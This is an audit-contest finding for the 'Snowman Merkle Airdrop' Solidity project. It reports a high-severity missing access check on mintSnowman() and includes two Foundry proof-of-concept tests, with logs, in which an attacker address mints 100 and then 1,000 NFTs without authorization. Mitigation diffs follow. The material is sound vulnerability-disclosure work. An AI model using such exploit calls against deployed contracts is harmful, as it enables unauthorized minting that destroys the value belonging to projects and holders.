Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

`Snowman.mintSnowman()` lacks access control, allowing anyone to mint unlimited NFTs

Description

  • Snowman.mintSnowman() is intended to be called exclusively by SnowmanAirdrop as the final step of the airdrop claim flow, after a user burns Snow tokens and passes Merkle proof and EIP-712 signature verification.

  • The function is declared external with no access modifier, so any address can call it directly with an arbitrary receiver and amount, completely bypassing the airdrop eligibility requirements.

// src/Snowman.sol
function mintSnowman(address receiver, uint256 amount) external {
// @> // no onlyOwner, no onlyAirdrop — callable by anyone
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Any externally-owned account or contract discovers the function — it is publicly visible in the ABI and requires no special conditions to call.

  • The call requires only gas (no ETH, no token balance), making it trivially cheap to exploit on every block.

Impact:

  • An attacker mints an unlimited number of Snowman NFTs to any address without burning a single Snow token, collapsing the NFT's scarcity entirely.

  • The SnowmanAirdrop mechanism — Merkle proof, EIP-712 signature, and Snow burn — is rendered meaningless since all of its invariants can be skipped via direct mintSnowman calls.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
import {Helper} from "../script/Helper.s.sol";
/// @notice H-001: Snowman.mintSnowman() has no access control — anyone can mint unlimited NFTs
contract PoC_H001_UnrestrictedMint is Test {
Snow snow;
Snowman nft;
SnowmanAirdrop airdrop;
MockWETH weth;
address attacker = makeAddr("attacker");
function setUp() public {
Helper deployer = new Helper();
(airdrop, snow, nft, weth) = deployer.run();
}
function test_poc_H001_anyone_can_mint_unlimited_nfts() public {
assertEq(nft.balanceOf(attacker), 0);
// Attacker directly calls mintSnowman — no Snow tokens needed, no Merkle proof
vm.prank(attacker);
nft.mintSnowman(attacker, 100);
assertEq(nft.balanceOf(attacker), 100);
console2.log(">> Attacker minted NFTs with no Snow tokens:", nft.balanceOf(attacker));
console2.log(">> SnowmanAirdrop mechanism completely bypassed.");
console2.log(">> No Merkle proof, no signature, no Snow burned.");
}
}

Steps to run:

forge test --match-test test_poc_H001_anyone_can_mint_unlimited_nfts -vv

Output:

[PASS] test_poc_H001_anyone_can_mint_unlimited_nfts() (gas: 3384660)
Logs:
>> Attacker minted NFTs with no Snow tokens: 100
>> SnowmanAirdrop mechanism completely bypassed.
>> No Merkle proof, no signature, no Snow burned.

Recommended Mitigation

Store the airdrop contract address in Snowman and restrict mintSnowman to it:

+ address private immutable i_airdrop;
- constructor() ERC721("Snowman", "SNWM") Ownable(msg.sender) {}
+ constructor(address airdrop) ERC721("Snowman", "SNWM") Ownable(msg.sender) {
+ i_airdrop = airdrop;
+ }
function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != i_airdrop) revert Snowman__NotAirdrop();
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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